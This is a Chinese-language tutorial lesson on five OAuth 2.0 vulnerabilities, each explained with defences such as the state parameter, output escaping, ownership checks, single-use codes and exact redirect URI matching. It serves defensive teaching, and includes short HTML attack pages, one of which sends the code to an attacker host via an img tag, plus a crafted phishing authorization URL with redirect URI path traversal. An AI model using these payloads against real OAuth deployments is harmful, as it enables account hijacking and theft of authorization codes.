当知道这一讲的主题是 OAuth 2.0 的安全漏洞时,你可能要问了:“OAuth 2.0 不是一种安全协议吗,不是保护 Web API 的吗?为啥 OAuth 2.0 自己还有安全的问题了呢?”

首先,OAuth 2.0 的确是一种安全协议。这没啥问题,但是它有很多使用规范,比如授权码是一个临时凭据只能被使用一次,要对重定向 URI 做校验等。那么,如果使用的时候你没有按照这样的规范来实施,就会有安全漏洞了。

其次,OAuth 2.0 既然是“生长”在互联网这个大环境中,就一样会面对互联网上常见安全风险的攻击,比如跨站请求伪造(Cross-site request forgery,CSRF)、跨站脚本攻击(Cross Site Scripting,XSS)。

最后,除了这些常见攻击类型外,OAuth 2.0 自身也有可被利用的安全漏洞,比如授权码失窃、重定向 URI 伪造。

所以,我们在实践 OAuth 2.0 的过程中,安全问题一定是重中之重。接下来,我挑选了 5 个典型的安全问题,其中 CSRF、XSS、水平越权这三种是互联网环境下常见的安全风险,授权码失窃和重定向 URI 被篡改属于 OAuth2.0“专属”的安全风险。接下来,我就和你一起看看这些安全风险的由来,以及如何应对吧。

CSRF 攻击

对于 CSRF 的定义,《OAuth 2 in Action》这本书里的解释,是我目前看到的最为贴切的解释:恶意软件让浏览器向已完成用户身份认证的网站发起请求,并执行有害的操作,就是跨站请求伪造攻击。

它是互联网上最为常见的攻击之一。我们在实践 OAuth2.0 的过程,其实就是在构建一次互联网的应用。因此,OAuth 2.0 同样也会面临这个攻击。接下来,我通过一个案例和你说明这个攻击类型。

有一个软件 A,我们让它来扮演攻击者,让它的开发者按照正常的流程使用极客时间。当该攻击者授权后,拿到授权码的值 codeA 之后,“立即按下了暂停键”,不继续往下走了。那它想干啥呢,我们继续往下看。

这时,有一个第三方软件 B,比如咱们的 Web 版极客时间,来扮演受害者吧。当然最终的受害者是用户,这里是用 Web 版极客时间来作为被软件 A 攻击的对象

极客时间用于接收授权码的回调地址为 https://time.geekbang.org/callback。有一个用户 G 已经在极客时间的平台登录,且对极客时间进行了授权,也就是用户 G 已经在极客时间平台上有登录态了。

如果此时攻击者软件 A,在自己的网站上构造了一个恶意页面:

<html>
<img src ="https://time.geekbang.org/callback?code=codeA">
</html>

如果这个时候用户 G 被攻击者软件 A 诱导而点击了这个恶意页面,那结果就是,极客时间使用 codeA 值去继续 OAuth 2.0 的流程了。这其实就走完了一个 CSRF 攻击的过程,如下图所示:

oauth-08-01

图1 CSRF攻击过程

如果我们将 OAuth 2.0 用于了身份认证,那么就会造成严重的后果,因为用户 G 使用的极客时间的授权上下文环境跟攻击者软件 A 的授权上下文环境绑定在了一起。为了解释两个上下文环境绑定在一起可能带来的危害,我们还是拿极客时间来举例。

假如,极客时间提供了用户账号和微信账号做绑定的功能,也就是说用户先用自己的极客时间的账号登录,然后可以绑定微信账号,以便后续可以使用微信账号来登录。在绑定微信账号的时候,微信会咨询你是否给极客时间授权,让它获取你在微信上的个人信息。这时候,就需要用到 OAuth 2.0 的授权流程。

如果攻击者软件 A,通过自己的极客时间账号事先做了上面的绑定操作,也就是说攻击者已经可以使用自己的微信账号来登录极客时间了。那有一天,软件 A 想要“搞事情”了,便在发起了一个授权请求后构造了一个攻击页面,里面包含的模拟代码正如我在上面描述的那样,来诱导用户 G 点击。

而用户 G 已经用极客时间的账号登录了极客时间,此时正要去做跟微信账号的绑定。如果这个时候他刚好点击了攻击者 A“种下”的这个恶意页面,那么后面换取授权的访问令牌 access_token,以及通过 accces_token 获取的信息就都是攻击者软件 A 的了。

这就相当于,用户 G 将自己的极客时间的账号跟攻击者软件 A 的微信账号绑定在了一起。这样一来,后续攻击者软件 A 就能够通过自己的微信账号,来登录用户 G 的极客时间了。这个后果可想而知。

那如何避免这种攻击呢?方法也很简单,实际上 OAuth 2.0 中也有这样的建议,就是使用 state 参数,它是一个随机值的参数。

还是以上面的场景为例,当极客时间请求授权码的时候附带一个自己生成 state 参数值,同时授权服务也要按照规则将这个随机的 state 值跟授权码 code 一起返回给极客时间。这样,当极客时间接收到授权码的时候,就要在极客时间这一侧做一个 state 参数值的比对校验,如果相同就继续流程,否则直接拒绝后续流程。

在这样的情况下,软件 A 要想再发起 CSRF 攻击,就必须另外构造一个 state 值,而这个 state 没那么容易被伪造。这本就是一个随机的数值,而且在生成时就遵从了被“猜中”的概率要极小的建议。比如,生成一个 6 位字母和数字的组合值,显然要比生成一个 6 位纯数字值被“猜中”的概率要小。所以,软件 B 通过使用 state 参数,就实现了一个基本的防跨站请求伪造保护。

我们再来总结下,这个攻击过程本质上就是,软件 A(攻击者)用自己的授权码 codeA 的值,通过 CSRF 攻击,“替换”了软件 B 的授权码的值。

接下来,我再给你看一种互联网常见的安全攻击类型,也就是 XSS 攻击。

XSS 攻击

XSS 攻击的主要手段是将恶意脚本注入到请求的输入中,攻击者可以通过注入的恶意脚本来进行攻击行为,比如搜集数据等。截止到 2020 年 6 月 23 日,在 OWASP(一个开源的 Web 应用安全项目)上查看安全漏洞排名的话,它依然在TOP10榜单上面,可谓“大名鼎鼎”。

网络上有很多关于 XSS 的介绍了,我推荐你看看《XSS 攻击原理分析与防御技术》这篇文章,它很清晰地分析了 XSS 的原理以及防御方法。今天,我们主要看看它是怎么在 OAuth 2.0 的流程中“发挥”的。

当请求抵达受保护资源服务时,系统需要做校验,比如第三方软件身份合法性校验、访问令牌 access_token 的校验,如果这些信息都不能被校验通过,受保护资源服务就会返回错误的信息。

oauth-08-02

图2 XSS攻击过程

大多数情况下,受保护资源都是把输入的内容,比如 app_id invalid、access_token invalid ,再回显一遍,这时就会被 XSS 攻击者捕获到机会。试想下,如果攻击者传入了一些恶意的、搜集用户数据的 JavaScript 代码,受保护资源服务直接原路返回到用户的页面上,那么当用户触发到这些代码的时候就会遭受到攻击。

因此,受保护资源服务就需要对这类 XSS 漏洞做修复,而具体的修复方法跟其它网站防御 XSS 类似,最简单的方法就是对此类非法信息做转义过滤,比如对包含<script>、<img>、<a>等标签的信息进行转义过滤。

CSRF 攻击、XSS 攻击是我从 OWASP 网站上挑选的两个最为熟知的两种攻击类型,它们应该是所有 Web 系统都需要共同防范的。我们在实施 OAuth 2.0 架构的时候,也一定要考虑到这层防护,否则就会给用户造成伤害。接下来,我再带着你了解一下水平越权攻击。

水平越权

水平越权是指,在请求受保护资源服务数据的时候,服务端应用程序未校验这条数据是否归属于当前授权的请求用户。这样不法者用自己获得的授权来访问受保护资源服务的时候,就有可能获取其他用户的数据,导致水平越权漏洞问题的发生。攻击者可越权的操作有增加、删除、修改和查询,无论更新操作还是查询操作都有相当的危害性。

这么说可能有些抽象,我们看一个具体的例子。

还是以我们的“小兔打单软件”为例,第三方开发者开发了这款打单软件,目前有两个商家 A 和商家 B 购买并使用。现在小兔打单软件上面提供了根据订单 ID 查询订单数据的功能,如下图所示。

oauth-08-03

图3 水平越权发生场景

商家 A 和商家 B 分别给小兔打单软件应用做了授权,也就是说,小兔打单软件可以获取商家 A 和商家 B 的订单数据。此时没有任何问题,**那么商家 A 可以获取商家 B 的订单数据吗?**答案是,极有可能的。

在开放平台环境下,授权关系的校验是由一般由开放网关这一层来处理,因为受保护资源服务会散落在各个业务支持部门。请求数据通过开放网关之后由访问令牌 access_token 获取了用户的身份,比如商家 ID,就会透传到受保护资源服务,也就是上游接口提供方的系统。

此时,如果受保护资源服务没有对商家 ID 和订单 ID 做归属判断,就有可能发生商家 A 获取商家 B 订单数据的问题,造成水平越权问题。

oauth-08-04

图4 水平越权示例图

发生水平越权问题的根本原因,还是开发人员的认知与意识不够。如果认知与意识跟得上,那在设计之初增加归属关系判断,比如上面提到的订单 ID 和商家 ID 的归属关系判断,就能在很大程度上避免这个漏洞。

同时,在开放平台环境下,由于开放网关和数据接口提供方来自不同的业务部门,防止水平校验的逻辑处理很容易被遗漏:

一方面,开放网关的作用是将用户授权之后的访问令牌 access_token 信息转换成真实的用户信息,比如上面提到的商家 ID,然后传递到接口提供方,数据归属判断逻辑只能在接口提供方内部处理;

另一方面,数据提供方往往会认为开放出的接口是被“跟自己一个公司的系统所调用的”,容易忽略水平校验的逻辑处理。

所以,在开放平台环境下,我们就要更加重视与防范数据的越权问题。

以上,CSRF 攻击、XSS 攻击、水平越权这三种攻击类型,它们都属于 OAuth 2.0 面临的互联网非常常见的通用攻击类型。而对于其他的互联网攻击类型,如果你想深入了解的话,可以看一下这篇安全案例回顾的文章。

接下来,我们再看两种 OAuth 2.0 专有的安全攻击,分别是授权码失窃、重定向 URI 被篡改。

授权码失窃

我们举个例子,先来学习授权码失窃这个场景。

如果第三方软件 A 有合法的 app_id 和 app_secret,那么当它去请求访问令牌的时候,也是合法的。这个时候没有任何问题,让我们继续。

如果有一个用户 G 对第三方软件 B,比如极客时间,进行授权并产生了一个授权码 codeB,但并没有对攻击者软件 A 授权。此时,软件 A 是不能访问用户 G 的所有数据的。但这时,如果软件 A 获取了这个 codeB,是不是就能够在没有获得用户 G 授权的情况下访问用户 G 的数据了?整个过程如下图所示。

oauth-08-05

图5 授权码失窃攻击过程

这时问题的根源就在于两点:

授权服务在进行授权码校验的时候,没有校验 app_id_B;

软件 B(也就是极客时间)使用过一次 codeB 的值之后,授权服务没有删除这个 codeB;

看到这里,通过校验 app_id_B,并删除掉使用过一次的授权码及其对应的访问令牌,就可以从根本上来杜绝授权码失窃带来的危害了。

说到这里,你不禁要问了,授权码到底是怎么失窃的呢?接下来,我要介绍的就是授权码失窃的可能的方法之一,这也是 OAuth 2.0 中因重定向 URI 校验方法不当而遭受到的一种危害。这种安全攻击类型,就是重定向 URI 被篡改。

重定向 URI 被篡改

有的时候,授权服务提供方并没有对第三方软件的回调 URI 做完整性要求和完整性校验。比如,第三软件 B 极客时间的详细回调 URI 是https://time.geekbang.org/callback,那么在完整性校验缺失的情况下,只要以https://time.geekbang.org开始的回调 URI 地址,都会被认为是合法的。

此时,如果黑客在https://time.geekbang.org/page/下,创建了一个页面 hacker.html。这个页面的内容可以很简单,其目的就是让请求能够抵达攻击者的服务。

<html>
<img src ="https://clientA.com/catch">
</html>

好了,我们继续看下接下来的攻击流程:

首先,黑客将构造的攻击页面放到对应的 hacker.html 上,也就是https://time.geekbang.org/page/hacker.html上 ,同时构造出了一个新的重定向 URI,即https://time.geekbang.org/page/welcome/back.html../hacker.html

然后,黑客利用一些钓鱼手段诱导用户,去点击下面的这个地址:

https://oauth-server.com/auth?respons_type=code&client_id=CLIENTID&redirect_uri=https://time.geekbang.org/page/welcome/back.html../hacker.html

这样当授权服务做出响应进行重定向请求的时候,授权码 code 就返回到了 hacker.html 这个页面上。

最后,黑客在https://clientA.com/catch页面上,解析 Referrer 头部就会得到用户的授权码,继而就可以像授权码失窃的场景中那样去换取访问令牌了。

看到这里我们就知道了,如果授权服务要求的回调 URI 是https://time.geekbang.org/callback,并做了回调 URI 的完整性校验,那么被篡改之后的回调地址https://time.geekbang.org/page/welcome/back.html../hacker.html就不会被授权服务去发起重定向请求。

严格来讲,要发生这样的漏洞问题,条件还是比较苛刻的。从图重定向 URI 被篡改的流程中,也可以看到,只要我们在授权服务验证第三方软件的请求时做了签名校验,那么攻击者在只拿到授权码 code 的情况下,仍然无法获取访问令牌,因为第三方软件只有通过访问令牌才能够访问用户的数据。

但是,如果这些防范安全风险的规范建议你通通都没有遵守,那就是在给攻击者“大显身手”的机会,让你的应用软件以及用户遭受损失。

总结

好了,以上就是今天的主要内容了。我们一起学习了 OAuth 2.0 相关的常见又比较隐蔽的 5 种安全问题,包括 CSRF 攻击、XSS 攻击、水平越权、授权码失窃、重定向 URI 被篡改。更多关于 OAuth 2.0 安全方面的内容,你也可以去翻阅《OAuth 2 in Action》这本书。

通过这一讲的学习,你需要记住以下三个知识点:

互联网场景的安全攻击类型比如 CSRF、XSS 等,在 OAuth 2.0 中一样要做防范,因为 OAuth 2.0 本身就是应用在互联网场景中。

除了常见的互联网安全攻击,OAuth 2.0 也有自身的安全风险问题,比如我们讲到的授权码失窃、重定向 URI 被篡改。

这些安全问题,本身从攻击的“技术含量”上并不高,但导致这些安全风险的因素,往往就是开发人员的安全意识不够。比如,没有意识到水平越权中的数据归属逻辑判断,需要加入到代码逻辑中。

其实,OAuth 2.0 的规范里面对这些安全问题都有对应的规避方式,但都要求我们使用的时候一定要非常严谨。比如,重定向 URI 的校验方式,规范里面是允许模糊校验的,但在结合实际环境的时候,我们又必须做到精确匹配校验才可以保障 OAuth 2.0 流转的安全性。